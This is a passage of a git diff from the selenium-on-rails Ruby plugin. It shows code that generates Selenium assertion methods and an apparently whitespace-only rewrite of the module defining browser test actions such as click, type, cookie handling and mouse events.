+    raise 'Not supported in Selenium Core at the moment'
+  end
+
+private
+  # Generates all assertions for the accessors.
+  def self.generate_methods
+    public_instance_methods.each do |method|
+      case method
+      when 'store_alert_present',
+           'store_prompt_present',
+           'store_confirmation_present'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do
+             command command_name
+          end
+        end
+      when 'store_error_on_next',
+           'store_failure_on_next',
+           'store_alert',
+           'store_all_window_ids',
+           'store_all_window_names',
+           'store_all_window_titles',
+           'store_confirmation',
+           'store_cookie',
+           'store_log_messages',
+           'store_mouse_speed',
+           'store_prompt',
+           'store_title',
+           'store_body_text',
+           'store_text_present',
+           'store_element_present',
+           'store_visible',
+           'store_editable',
+           'store_html_source',
+           'store_checked',
+           'store_something_selected'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do |pattern|
+             command command_name, pattern
+          end
+        end
+      when 'store_attribute_from_all_windows',
+           'store_value',
+           'store_text',
+           'store_eval',
+           'store_cursor_position',
+           'store_selected',
+           'store_selected_id',
+           'store_selected_ids',
+           'store_selected_index',
+           'store_selected_indexes',
+           'store_selected_label',
+           'store_selected_labels',
+           'store_selected_value',
+           'store_selected_values',
+           'store_element_height',
+           'store_element_index',
+           'store_element_width',
+           'store_element_position_left',
+           'store_element_position_top',
+           'store_expression',
+           'store_ordered',
+           'store_whether_this_frame_match_frame_expression',
+           'store_whether_this_window_match_window_expression'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do |arg1, arg2|
+             command command_name, arg1, arg2
+          end
+        end
+      when 'store_all_buttons',
+           'store_all_links',
+           'store_all_fields'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do |pattern|
+             command command_name, collection_arg(pattern)
+          end
+        end
+      when 'store_select_options',
+           'store_selected_options'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do |locator, pattern|
+             command command_name, locator, collection_arg(pattern)
+          end
+        end
+      when 'store_attribute'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do |locator, attribute_name, pattern|
+             command command_name, "#{locator}@#{attribute_name}", pattern
+          end
+        end
+      when 'store_table'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do |locator, row, column, pattern|
+             command command_name, "#{locator}.#{row}.#{column}", pattern
+          end
+        end
+      when 'store_absolute_location',
+           'store_location'
+        each_assertion method do |assertion_method, command_name|
+          define_method assertion_method do |pattern|
+            if method == 'store_absolute_location' and pattern.is_a? Hash
+              pattern[:only_path] = false
+            end
+
+            command command_name, url_arg(pattern)
+          end
+        end
+      when /^store_/
+         raise 'internal error'
+      end
+    end
+  end
+
+  # Generates all the assertions needed given a +store_method+.
+  def self.each_assertion store_method
+    before_negation = nil
+    after_negation = store_method.split('_')[1..-1] #throw away 'store'
+    if after_negation.last == 'present'
+      before_negation, after_negation = after_negation, after_negation.pop
+    end
+
+    ['assert', 'verify', ['wait','for']].each do |action|
+      [nil, 'not'].each do |negation|
+        name = [action, before_negation, negation, after_negation].flatten.reject{|a|a.nil?}
+        method_name = name.join '_'
+        command = name.inject(name.shift.clone) {|n, p| n << p.capitalize}
+        yield method_name, command
+      end
+    end
+  end
+
+  generate_methods
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_actions.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_actions.rb
index 480aefd6..8eb86f10 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_actions.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails/test_builder_actions.rb
@@ -1,515 +1,514 @@
-# The actions available for SeleniumOnRails::TestBuilder tests.
-#
-# For each action +foo+ there's also an action +foo_and_wait+.
-module SeleniumOnRails::TestBuilderActions
-  # Tell Selenium on Rails to clear the session and load any fixtures.  DO
-  # NOT CALL THIS AGAINST NON-TEST DATABASES.
-  # The supported +options+ are <code>:keep_session</code>, 
-  # <code>:fixtures</code> and <code>:clear_tables</code>
-  #   setup
-  #   setup :keep_session
-  #   setup :fixtures => :all
-  #   setup :keep_session, :fixtures => [:foo, :bar]
-  #   setup :clear_tables => [:foo, :bar]
-  def setup options = {}
-    options = {options => nil} unless options.is_a? Hash
-
-    opts = {:controller => 'selenium', :action => 'setup'}
-    opts[:keep_session] = true if options.has_key? :keep_session
-
-    [:fixtures, :clear_tables].each do |key|
-      if (f = options[key])
-        f = [f] unless f.is_a? Array
-        opts[key] = f.join ','
-      end
-    end
-
-    open opts
-  end
-
-  # Includes a partial.
-  # The path is relative to the Selenium tests root. The starting _ and the file
-  # extension don't have to be specified.
-  #   #include test/selenium/_partial.*
-  #   include_partial 'partial'
-  #   #include test/selenium/suite/_partial.*
-  #   include_partial 'suite/partial'
-  #   #include test/selenium/suite/_partial.* and provide local assigns
-  #   include_partial 'suite/partial', :foo => bar
-  def include_partial path, local_assigns = {}
-    partial = @view.render :partial => path, :locals => local_assigns
-    @output << partial
-  end
-
-  # Clicks on a link, button, checkbox or radio button. If the click action
-  # causes a new page to load (like a link usually does), call 
-  # +wait_for_page_to_load+.
-  def click locator
-    command 'click', locator
-  end
-  
-  # Clicks on a link, button, checkbox or radio button. If the click action causes 
-  # a new page to load (like a link usually does), call wait_for_page_to_load.
-  def click_at locator, coord_string
-    command 'clickAt', locator, coord_string
-  end
-
-  # Explicitly simulate an event (e.g. <tt>"focus"</tt>, <tt>"blur"</tt>), to
-  # trigger the corresponding <tt>"on_event_"</tt> handler.
-  def fire_event locator, event_name
-    command 'fireEvent', locator, event_name
-  end
-
-  # Simulates a user pressing and releasing a key.
-  #
-  # +keycode+ is the numeric keycode of the key to be pressed, normally the
-  # ASCII value of that key.
-  def key_press locator, keycode
-    command 'keyPress', locator, keycode
-  end
-  
-  # Simulates a user pressing a key (without releasing it yet).
-  #
-  # +keycode+ is the numeric keycode of the key to be pressed, normally the
-  # ASCII value of that key.
-  def key_down locator, keycode
-    command 'keyDown', locator, keycode
-  end
-  
-  # Simulates a user releasing a key.
-  #
-  # +keycode+ is the numeric keycode of the key to be released, normally the
-  # ASCII value of that key.
-  def key_up locator, keycode
-    command 'keyUp', locator, keycode
-  end
-
-  # Simulates a user hovering a mouse over the specified element.
-  def mouse_over locator
-    command 'mouseOver', locator
-  end
-  
-  # Simulates a user pressing the mouse button (without releasing it yet) on the
-  # specified element.
-  def mouse_down locator
-    command 'mouseDown', locator
-  end
-
-  # Sets the value of an input field, as though you typed it in. 
-  #
-  # Can also be used to set the value of combo boxes, check boxes, etc. In these
-  # cases, +value+ should be the value of the option selected, not the visible
-  # text.
-  def type locator, value
-    command 'type', locator, value
-  end
-
-  # Check a toggle-button (checkbox/radio).
-  def check locator
-    command 'check', locator
-  end
-
-  # Uncheck a toggle-button (checkbox/radio).
-  def uncheck locator
-    command 'uncheck', locator
-  end
-
-  # Select an option from a drop-down using an option locator.
-  #
-  # Option locators provide different ways of specifying options of an HTML
-  # Select element (e.g. for selecting a specific option, or for asserting that
-  # the selected option satisfies a specification). There are several forms of
-  # Select Option Locator.
-  #
-  # * label=labelPattern 
-  #   matches options based on their labels, i.e. the visible text. (This is the
-  #   default.)
-  #     label=regexp:^[Oo]ther
-  # * value=valuePattern
-  #   matches options based on their values.
-  #     value=other
-  # * id=id
-  #   matches options based on their ids.
-  #     id=option1
-  # * index=index
-  #   matches an option based on its index (offset from zero). 
-  #     index=2 
-  #
-  # If no option locator prefix is provided, the default behaviour is to match
-  # on label. 
-  def select locator, option_locator
-    command 'select', locator, option_locator
-  end
-
-  # Add a selection to the set of selected options in a multi-select element
-  # using an option locator.
-  #
-  # See the <tt>#select</tt> command for more information about option locators.
-  def add_selection locator, option_locator
-    command 'addSelection', locator, option_locator
-  end
-
-  # Remove a selection from the set of selected options in a multi-select
-  # element using an option locator.
-  #
-  # See the +select+ command for more information about option locators.
-  def remove_selection locator, option_locator
-    command 'removeSelection', locator, option_locator
-  end
-
-  # Submit the specified form. This is particularly useful for forms without
-  # submit buttons, e.g. single-input "Search" forms.
-  def submit locator
-    command 'submit', locator
-  end
-
-  # Opens an URL in the test frame. This accepts both relative and absolute
-  # URLs. The <tt>open</tt> command waits for the page to load before
-  # proceeding, i.e. you don't have to call +wait_for_page_to_load+.
-  #
-  # Note: The URL must be on the same domain as the runner HTML due to security
-  # restrictions in the browser (Same Origin Policy).
-  def open url
-    command 'open', url_arg(url)
-  end
-
-  # Selects a popup window; once a popup window has been selected, all commands
-  # go to that window. To select the main window again, use +nil+ as the target.
-  def select_window window_id
-    command 'selectWindow', window_id||'null'
-  end
-
-  # Waits for a popup window to appear and load up.
-  #
-  # The +timeout+ is specified in milliseconds.
-  def wait_for_popup window_id, timeout
-    command 'waitForPopUp', window_id||'null', timeout
-  end
-
-  # By default, Selenium's overridden <tt>window.confirm()</tt> function will return
-  # +true+, as if the user had manually clicked OK. After running this command,
-  # the next call to <tt>confirm()</tt> will return +false+, as if the user had clicked
-  # Cancel. 
-  def choose_cancel_on_next_confirmation
-    command 'chooseCancelOnNextConfirmation'
-  end
-
-  # Instructs Selenium to return the specified answer string in response to the
-  # next JavaScript prompt (<tt>window.prompt()</tt>). 
-  def answer_on_next_prompt answer
-    command 'answerOnNextPrompt', answer
-  end
-
-  # Simulates the user clicking the "back" button on their browser. 
-  def go_back
-    command 'goBack'
-  end
-
-  # Simulates the user clicking the "Refresh" button on their browser. 
-  def refresh
-    command 'refresh'
-  end
-
-  # Simulates the user clicking the "close" button in the titlebar of a popup
-  # window or tab.
-  def close
-    command 'close'
-  end
-  
-  # Simulates the user pressing the alt key and hold it down until do_alt_up()
-  # is called or a new page is loaded.
-  def alt_key_down
-    command 'altKeyDown'
-  end
-  
-  # Simulates the user releasing the alt key.
-  def alt_key_up
-    command 'altKeyUp'
-  end
-  
-  # Halt the currently running test, and wait for the user to press the Continue 
-  # button. This command is useful for debugging, but be careful when using it, 
-  # because it will force automated tests to hang until a user intervenes manually.
-  #
-  # NOTE: <tt>break</tt> is a reserved word in Ruby, so we have to simulate
-  # Selenium core's <tt>break()</tt> with <tt>brake()</tt>
-  def brake
-    command 'break'
-  end
-  
-  # Simulates the user pressing the alt key and hold it down until do_control_up()
-  # is called or a new page is loaded.
-  def control_key_down
-    command 'controlKeyDown'
-  end
-  
-  # Simulates the user releasing the control key.
-  def control_key_up
-    command 'controlKeyUp'
-  end
-  
-  # Create a new cookie whose path and domain are same with those of current page 
-  # under test, unless you specified a path for this cookie explicitly.
-  #
-  # Arguments:
-  # * <tt>name_value_pair</tt> - name and value of the cookie in a format "name=value"
-  # * <tt>options_string</tt> - options for the cookie. Currently supported options 
-  #   include 'path' and 'max_age'. The options_string's format is 
-  #   <tt>"path=/path/, max_age=60"</tt>. The order of options are irrelevant, the 
-  #   unit of the value of 'max_age' is second.
-  def create_cookie name_value_pair, options_string
-    command 'createCookie', name_value_pair, options_string
-  end
-  
-  # Delete a named cookie with specified path.
-  def delete_cookie name, path
-    command 'deleteCookie', name, path
-  end
-  
-  # Double clicks on a link, button, checkbox or radio button. If the double click action 
-  # causes a new page to load (like a link usually does), call <tt>wait_for_page_to_load</tt>.
-  def double_click locator
-    command 'doubleClick', locator
-  end
-  
-  # Doubleclicks on a link, button, checkbox or radio button. If the action causes a new page 
-  # to load (like a link usually does), call <tt>wait_for_page_to_load</tt>.
-  def double_click_at locator, coord_string
-    command 'doubleClickAt', locator, coord_string
-  end
-  
-  # Drags an element a certain distance and then drops it.
-  def drag_and_drop locator, movements_string
-    command 'dragAndDrop', locator, movements_string
-  end
-  
-  # Drags an element and drops it on another element.
-  def drag_and_drop_to_object locator_of_object_to_be_dragged, locator_of_drag_destination_object
-    command 'dragAndDropToObject', locator_of_object_to_be_dragged, locator_of_drag_destination_object
-  end
-  
-  # Prints the specified message into the third table cell in your Selenese
-  # tables. 
-  # Useful for debugging.
-  def echo message
-    command 'echo', message
-  end
-    
-  # Briefly changes the backgroundColor of the specified element yellow.
-  # Useful for debugging.
-  def highlight locator
-    command 'highlight', locator
-  end
-  
-  # Press the meta key and hold it down until <tt>doMetaUp()</tt> is called or
-  # a new page is loaded.
-  def meta_key_down
-    command 'metaKeyDown'
-  end
-  
-  # Release the meta key.
-  def meta_key_up
-    command 'metaKeyUp'
-  end
-  
-  # Simulates a user pressing the mouse button (without releasing it yet) on the specified
-  # element.
-  def mouse_down_at locator, coord_string
-    command 'mouseDownAt', locator, coord_string
-  end
-  
-  # Simulates a user moving the mouse.
-  def mouse_move locator
-    command 'mouseMove', locator
-  end
-  
-  # Simulates a user moving the mouse relative to the specified element.
-  def mouse_move_at locator, coord_string
-    command 'mouseMoveAt', locator, coord_string
-  end
-  
-  # Simulates the user moving the mouse off the specified element.
-  def mouse_out locator
-    command 'mouseOut', locator
-  end
-  
-  # Simulates the user releasing the mouse button on the specified element.
-  def mouse_up locator
-    command 'mouseUp', locator
-  end
-  
-  # Simulates a user pressing the mouse button (without releasing it yet) on the
-  # specified element.
-  def mouse_up_at locator, coord_string
-    command 'mouseUpAt', locator, coord_string
-  end
-  
-  # Opens a popup window (if a window with that ID isn't already open). After opening the
-  # window, you'll need to select it using the <tt>select_window</tt> command.
-  #
-  # This command can also be a useful workaround for bug SEL-339. In some cases, Selenium
-  # will be unable to intercept a call to window.open (if the call occurs during or before
-  # the "onLoad" event, for example). In those cases, you can force Selenium to notice the
-  # open window's name by using the Selenium openWindow command, using an empty (blank) url,
-  # like this: <tt>open_window("", "myFunnyWindow")</tt>.
-  def open_window url, window_id
-    command 'openWindow', url, window_id
-  end
-  
-  # Wait for the specified amount of time (in milliseconds).
-  def pause wait_time
-    command 'pause', wait_time
-  end
-  
-  # Unselects all of the selected options in a multi-select element.
-  def remove_all_selections locator
-    command 'removeAllSelections', locator
-  end
-  
-  # Selects a frame within the current window. (You may invoke this command multiple times
-  # to select nested frames.) To select the parent frame, use "relative=parent" as a
-  # locator; to select the top frame, use "relative=top".
-  #
-  # You may also use a DOM expression to identify the frame you want directly, like this:
-  # <tt>dom=frames["main"].frames["subframe"]</tt>
-  def select_frame locator
-    command 'selectFrame', locator
-  end
-  
-  # Moves the text cursor to the specified position in the given input element or textarea.
-  # This method will fail if the specified element isn't an input element or textarea.
-  def set_cursor_position locator, position
-    command 'setCursorPosition', locator, position
-  end
-  
-  # Configure the number of pixels between "mousemove" events during dragAndDrop commands
-  # (default=10).
-  # Setting this value to 0 means that we'll send a "mousemove" event to every single pixel
-  # in between the start location and the end location; that can be very slow, and may
-  # cause some browsers to force the JavaScript to timeout.
-  #
-  # If the mouse speed is greater than the distance between the two dragged objects, we'll 
-  # just send one "mousemove" at the start location and then one final one at the end location.
-  def set_mouse_speed pixels
-    command 'setMouseSpeed', pixels
-  end
-  
-  # Press the shift key and hold it down until <tt>doShiftUp()</tt> is called or a new page
-  # is loaded.
-  def shift_key_down
-    command 'shiftKeyDown'
-  end
-  
-  # Release the shift key.
-  def shift_key_up
-    command 'shiftKeyUp'
-  end
-  
-  # This command is a synonym for <tt>store_expression</tt>.
-  def store expression, variable_name
-    command 'store', expression, variable_name
-  end
-  
-  # Simulates keystroke events on the specified element, as though you typed the value 
-  # key-by-key.
-  #
-  # This is a convenience method for calling <tt>key_down</tt>, <tt>key_up</tt>, 
-  # <tt>key_press</tt> for every character in the specified string; this is useful for
-  # dynamic UI widgets (like auto-completing combo boxes) that require explicit key events.
-  #
-  # Unlike the simple "type" command, which forces the specified value into the page directly,
-  # this command may or may not have any visible effect, even in cases where typing keys would
-  # normally have a visible effect. For example, if you use "<tt>type_keys</tt>" on a form
-  # element, you may or may not see the results of what you typed in the field.
-  #
-  # In some cases, you may need to use the simple "type" command to set the value of the field
-  # and then the "<tt>type_keys</tt>" command to send the keystroke events corresponding to
-  # what you just typed.
-  def type_keys locator, value
-    command 'typeKeys', locator, value
-  end
-  
-  # Gives focus to a window.
-  def window_focus window_name
-    command 'windowFocus', window_name
-  end
-  
-  # Resize window to take up the entire screen.
-  def window_maximize window_name
-    command 'windowMaximize', window_name
-  end
-  
-  # Writes a message to the status bar and adds a note to the browser-side log. 
-  #
-  # +context+ is the message sent to the browser.
-  #
-  # +log_level_threshold+ can be +nil+, <tt>:debug</tt>, <tt>:info</tt>, 
-  # <tt>:warn</tt> or <tt>:error</tt>.
-  def set_context context, log_level_threshold = nil
-    if log_level_threshold
-      command 'setContext', context, log_level_threshold.to_s
-    else
-      command 'setContext', context
-    end
-  end
-
-  # Runs the specified JavaScript snippet repeatedly until it evaluates to
-  # +true+. The snippet may have multiple lines, but only the result of the last
-  # line will be considered. 
-  # 
-  # Note that, by default, the snippet will be run in the runner's test window,
-  # not in the window of your application. To get the window of your
-  # application, you can use the JavaScript snippet
-  # <tt>selenium.browserbot.getCurrentWindow()</tt>, and then run your 
-  # JavaScript in there.
-  #
-  # +timeout+ is specified in milliseconds.
-  def wait_for_condition script, timeout
-    command 'waitForCondition', script, timeout
-  end
-
-  # Specifies the amount of time that Selenium will wait for actions to
-  # complete. 
-  #
-  # Actions that require waiting include +open+ and the <tt>wait_for*</tt>
-  # actions.
-  #
-  # The default timeout is 30 seconds. 
-  #
-  # +timeout+ is specified in milliseconds.
-  def set_timeout timeout
-    command 'setTimeout', timeout
-  end
-
-  # Waits for a new page to load. 
-  #
-  # You can use this command instead of the +and_wait+ suffixes,
-  # +click_and_wait+, +select_and_wait+, +type_and_wait+ etc. (which are only
-  # available in the JS API).
-  #
-  # Selenium constantly keeps track of new pages loading, and sets a
-  # +newPageLoaded+ flag when it first notices a page load. Running any other
-  # Selenium command after turns the flag to +false+. Hence, if you want to wait
-  # for a page to load, you must wait immediately after a Selenium command that
-  # caused a page-load.
-  #
-  # +timeout+ is specified in milliseconds.
-  def wait_for_page_to_load timeout
-    command 'waitForPageToLoad', timeout
-  end
-
-private
-  # Generates the corresponding +_and_wait+ for each action.
-  def self.generate_and_wait_actions
-    public_instance_methods.each do |method|
-      define_method method + '_and_wait' do |*args|
-        make_command_waiting do
-          send method, *args
-        end
-      end
-    end
-  end
-
-  generate_and_wait_actions
-end
-
+# The actions available for SeleniumOnRails::TestBuilder tests.
+#
+# For each action +foo+ there's also an action +foo_and_wait+.
+module SeleniumOnRails::TestBuilderActions
+  # Tell Selenium on Rails to clear the session and load any fixtures.  DO
+  # NOT CALL THIS AGAINST NON-TEST DATABASES.
+  # The supported +options+ are <code>:keep_session</code>, 
+  # <code>:fixtures</code> and <code>:clear_tables</code>
+  #   setup
+  #   setup :keep_session
+  #   setup :fixtures => :all
+  #   setup :keep_session, :fixtures => [:foo, :bar]
+  #   setup :clear_tables => [:foo, :bar]
+  def setup options = {}
+    options = {options => nil} unless options.is_a? Hash
+
+    opts = {:controller => 'selenium', :action => 'setup'}
+    opts[:keep_session] = true if options.has_key? :keep_session
+
+    [:fixtures, :clear_tables].each do |key|
+      if (f = options[key])
+        f = [f] unless f.is_a? Array
+        opts[key] = f.join ','
+      end
+    end
+
+    open opts
+  end
+
+  # Includes a partial.
+  # The path is relative to the Selenium tests root. The starting _ and the file
+  # extension don't have to be specified.
+  #   #include test/selenium/_partial.*
+  #   include_partial 'partial'
+  #   #include test/selenium/suite/_partial.*
+  #   include_partial 'suite/partial'
+  #   #include test/selenium/suite/_partial.* and provide local assigns
+  #   include_partial 'suite/partial', :foo => bar
+  def include_partial path, local_assigns = {}
+    partial = @view.render :partial => path, :locals => local_assigns
+    @output << partial
+  end
+
+  # Clicks on a link, button, checkbox or radio button. If the click action
+  # causes a new page to load (like a link usually does), call 
+  # +wait_for_page_to_load+.
+  def click locator
+    command 'click', locator
+  end
+  
+  # Clicks on a link, button, checkbox or radio button. If the click action causes 
+  # a new page to load (like a link usually does), call wait_for_page_to_load.
+  def click_at locator, coord_string
+    command 'clickAt', locator, coord_string
+  end
+
+  # Explicitly simulate an event (e.g. <tt>"focus"</tt>, <tt>"blur"</tt>), to
+  # trigger the corresponding <tt>"on_event_"</tt> handler.
+  def fire_event locator, event_name
+    command 'fireEvent', locator, event_name
+  end
+
+  # Simulates a user pressing and releasing a key.
+  #
+  # +keycode+ is the numeric keycode of the key to be pressed, normally the
+  # ASCII value of that key.
+  def key_press locator, keycode
+    command 'keyPress', locator, keycode
+  end
+  
+  # Simulates a user pressing a key (without releasing it yet).
+  #
+  # +keycode+ is the numeric keycode of the key to be pressed, normally the
+  # ASCII value of that key.
+  def key_down locator, keycode
+    command 'keyDown', locator, keycode
+  end
+  
+  # Simulates a user releasing a key.
+  #
+  # +keycode+ is the numeric keycode of the key to be released, normally the
+  # ASCII value of that key.
+  def key_up locator, keycode
+    command 'keyUp', locator, keycode
+  end
+
+  # Simulates a user hovering a mouse over the specified element.
+  def mouse_over locator
+    command 'mouseOver', locator
+  end
+  
+  # Simulates a user pressing the mouse button (without releasing it yet) on the
+  # specified element.
+  def mouse_down locator
+    command 'mouseDown', locator
+  end
+
+  # Sets the value of an input field, as though you typed it in. 
+  #
+  # Can also be used to set the value of combo boxes, check boxes, etc. In these
+  # cases, +value+ should be the value of the option selected, not the visible
+  # text.
+  def type locator, value
+    command 'type', locator, value
+  end
+
+  # Check a toggle-button (checkbox/radio).
+  def check locator
+    command 'check', locator
+  end
+
+  # Uncheck a toggle-button (checkbox/radio).
+  def uncheck locator
+    command 'uncheck', locator
+  end
+
+  # Select an option from a drop-down using an option locator.
+  #
+  # Option locators provide different ways of specifying options of an HTML
+  # Select element (e.g. for selecting a specific option, or for asserting that
+  # the selected option satisfies a specification). There are several forms of
+  # Select Option Locator.
+  #
+  # * label=labelPattern 
+  #   matches options based on their labels, i.e. the visible text. (This is the
+  #   default.)
+  #     label=regexp:^[Oo]ther
+  # * value=valuePattern
+  #   matches options based on their values.
+  #     value=other
+  # * id=id
+  #   matches options based on their ids.
+  #     id=option1
+  # * index=index
+  #   matches an option based on its index (offset from zero). 
+  #     index=2 
+  #
+  # If no option locator prefix is provided, the default behaviour is to match
+  # on label. 
+  def select locator, option_locator
+    command 'select', locator, option_locator
+  end
+
+  # Add a selection to the set of selected options in a multi-select element
+  # using an option locator.
+  #
+  # See the <tt>#select</tt> command for more information about option locators.
+  def add_selection locator, option_locator
+    command 'addSelection', locator, option_locator
+  end
+
+  # Remove a selection from the set of selected options in a multi-select
+  # element using an option locator.
+  #
+  # See the +select+ command for more information about option locators.
+  def remove_selection locator, option_locator
+    command 'removeSelection', locator, option_locator
+  end
+
+  # Submit the specified form. This is particularly useful for forms without
+  # submit buttons, e.g. single-input "Search" forms.
+  def submit locator
+    command 'submit', locator
+  end
+
+  # Opens an URL in the test frame. This accepts both relative and absolute
+  # URLs. The <tt>open</tt> command waits for the page to load before
+  # proceeding, i.e. you don't have to call +wait_for_page_to_load+.
+  #
+  # Note: The URL must be on the same domain as the runner HTML due to security
+  # restrictions in the browser (Same Origin Policy).
+  def open url
+    command 'open', url_arg(url)
+  end
+
+  # Selects a popup window; once a popup window has been selected, all commands
+  # go to that window. To select the main window again, use +nil+ as the target.
+  def select_window window_id
+    command 'selectWindow', window_id||'null'
+  end
+
+  # Waits for a popup window to appear and load up.
+  #
+  # The +timeout+ is specified in milliseconds.
+  def wait_for_popup window_id, timeout
+    command 'waitForPopUp', window_id||'null', timeout
+  end
+
+  # By default, Selenium's overridden <tt>window.confirm()</tt> function will return
+  # +true+, as if the user had manually clicked OK. After running this command,
+  # the next call to <tt>confirm()</tt> will return +false+, as if the user had clicked
+  # Cancel. 
+  def choose_cancel_on_next_confirmation
+    command 'chooseCancelOnNextConfirmation'
+  end
+
+  # Instructs Selenium to return the specified answer string in response to the
+  # next JavaScript prompt (<tt>window.prompt()</tt>). 
+  def answer_on_next_prompt answer
+    command 'answerOnNextPrompt', answer
+  end
+
+  # Simulates the user clicking the "back" button on their browser. 
+  def go_back
+    command 'goBack'
+  end
+
+  # Simulates the user clicking the "Refresh" button on their browser. 
+  def refresh
+    command 'refresh'
+  end
+
+  # Simulates the user clicking the "close" button in the titlebar of a popup
+  # window or tab.
+  def close
+    command 'close'
+  end
+  
+  # Simulates the user pressing the alt key and hold it down until do_alt_up()
+  # is called or a new page is loaded.
+  def alt_key_down
+    command 'altKeyDown'
+  end
+  
+  # Simulates the user releasing the alt key.
+  def alt_key_up
+    command 'altKeyUp'
+  end
+  
+  # Halt the currently running test, and wait for the user to press the Continue 
+  # button. This command is useful for debugging, but be careful when using it, 
+  # because it will force automated tests to hang until a user intervenes manually.
+  #
+  # NOTE: <tt>break</tt> is a reserved word in Ruby, so we have to simulate
+  # Selenium core's <tt>break()</tt> with <tt>brake()</tt>
+  def brake
+    command 'break'
+  end
+  
+  # Simulates the user pressing the alt key and hold it down until do_control_up()
+  # is called or a new page is loaded.
+  def control_key_down
+    command 'controlKeyDown'
+  end
+  
+  # Simulates the user releasing the control key.
+  def control_key_up
+    command 'controlKeyUp'
+  end
+  
+  # Create a new cookie whose path and domain are same with those of current page 
+  # under test, unless you specified a path for this cookie explicitly.
+  #
+  # Arguments:
+  # * <tt>name_value_pair</tt> - name and value of the cookie in a format "name=value"
+  # * <tt>options_string</tt> - options for the cookie. Currently supported options 
+  #   include 'path' and 'max_age'. The options_string's format is 
+  #   <tt>"path=/path/, max_age=60"</tt>. The order of options are irrelevant, the 
+  #   unit of the value of 'max_age' is second.
+  def create_cookie name_value_pair, options_string
+    command 'createCookie', name_value_pair, options_string
+  end
+  
+  # Delete a named cookie with specified path.
+  def delete_cookie name, path
+    command 'deleteCookie', name, path
+  end
+  
+  # Double clicks on a link, button, checkbox or radio button. If the double click action 
+  # causes a new page to load (like a link usually does), call <tt>wait_for_page_to_load</tt>.
+  def double_click locator
+    command 'doubleClick', locator
+  end
+  
+  # Doubleclicks on a link, button, checkbox or radio button. If the action causes a new page 
+  # to load (like a link usually does), call <tt>wait_for_page_to_load</tt>.
+  def double_click_at locator, coord_string
+    command 'doubleClickAt', locator, coord_string
+  end
+  
+  # Drags an element a certain distance and then drops it.
+  def drag_and_drop locator, movements_string
+    command 'dragAndDrop', locator, movements_string
+  end
+  
+  # Drags an element and drops it on another element.
+  def drag_and_drop_to_object locator_of_object_to_be_dragged, locator_of_drag_destination_object
+    command 'dragAndDropToObject', locator_of_object_to_be_dragged, locator_of_drag_destination_object
+  end
+  
+  # Prints the specified message into the third table cell in your Selenese
+  # tables. 
+  # Useful for debugging.
+  def echo message
+    command 'echo', message
+  end
+    
+  # Briefly changes the backgroundColor of the specified element yellow.
+  # Useful for debugging.
+  def highlight locator
+    command 'highlight', locator
+  end
+  
+  # Press the meta key and hold it down until <tt>doMetaUp()</tt> is called or
+  # a new page is loaded.
+  def meta_key_down
+    command 'metaKeyDown'
+  end
+  
+  # Release the meta key.
+  def meta_key_up
+    command 'metaKeyUp'
+  end
+  
+  # Simulates a user pressing the mouse button (without releasing it yet) on the specified
+  # element.
+  def mouse_down_at locator, coord_string
+    command 'mouseDownAt', locator, coord_string
+  end
+  
+  # Simulates a user moving the mouse.
+  def mouse_move locator
+    command 'mouseMove', locator
+  end
+  
+  # Simulates a user moving the mouse relative to the specified element.
+  def mouse_move_at locator, coord_string
+    command 'mouseMoveAt', locator, coord_string
+  end
+  
+  # Simulates the user moving the mouse off the specified element.
+  def mouse_out locator
+    command 'mouseOut', locator
+  end
+  
+  # Simulates the user releasing the mouse button on the specified element.
+  def mouse_up locator
+    command 'mouseUp', locator
+  end
+  
+  # Simulates a user pressing the mouse button (without releasing it yet) on the
+  # specified element.
+  def mouse_up_at locator, coord_string
+    command 'mouseUpAt', locator, coord_string
+  end
+  
+  # Opens a popup window (if a window with that ID isn't already open). After opening the
+  # window, you'll need to select it using the <tt>select_window</tt> command.
+  #
+  # This command can also be a useful workaround for bug SEL-339. In some cases, Selenium
+  # will be unable to intercept a call to window.open (if the call occurs during or before
+  # the "onLoad" event, for example). In those cases, you can force Selenium to notice the
+  # open window's name by using the Selenium openWindow command, using an empty (blank) url,
+  # like this: <tt>open_window("", "myFunnyWindow")</tt>.
+  def open_window url, window_id
+    command 'openWindow', url, window_id
+  end
+  
+  # Wait for the specified amount of time (in milliseconds).
+  def pause wait_time
+    command 'pause', wait_time
+  end
+  
+  # Unselects all of the selected options in a multi-select element.
+  def remove_all_selections locator
+    command 'removeAllSelections', locator
+  end
+  
+  # Selects a frame within the current window. (You may invoke this command multiple times
+  # to select nested frames.) To select the parent frame, use "relative=parent" as a
+  # locator; to select the top frame, use "relative=top".
+  #
+  # You may also use a DOM expression to identify the frame you want directly, like this:
+  # <tt>dom=frames["main"].frames["subframe"]</tt>
+  def select_frame locator
+    command 'selectFrame', locator
+  end
+  
+  # Moves the text cursor to the specified position in the given input element or textarea.
+  # This method will fail if the specified element isn't an input element or textarea.
+  def set_cursor_position locator, position
+    command 'setCursorPosition', locator, position
+  end
+  
+  # Configure the number of pixels between "mousemove" events during dragAndDrop commands
+  # (default=10).
+  # Setting this value to 0 means that we'll send a "mousemove" event to every single pixel
+  # in between the start location and the end location; that can be very slow, and may
+  # cause some browsers to force the JavaScript to timeout.
+  #
+  # If the mouse speed is greater than the distance between the two dragged objects, we'll 
+  # just send one "mousemove" at the start location and then one final one at the end location.
+  def set_mouse_speed pixels
+    command 'setMouseSpeed', pixels
+  end
+  
+  # Press the shift key and hold it down until <tt>doShiftUp()</tt> is called or a new page
+  # is loaded.
+  def shift_key_down
+    command 'shiftKeyDown'
+  end
+  
+  # Release the shift key.
+  def shift_key_up
+    command 'shiftKeyUp'
+  end
+  
+  # This command is a synonym for <tt>store_expression</tt>.
+  def store expression, variable_name
+    command 'store', expression, variable_name
+  end
+  
+  # Simulates keystroke events on the specified element, as though you typed the value 
+  # key-by-key.
+  #
+  # This is a convenience method for calling <tt>key_down</tt>, <tt>key_up</tt>, 
+  # <tt>key_press</tt> for every character in the specified string; this is useful for
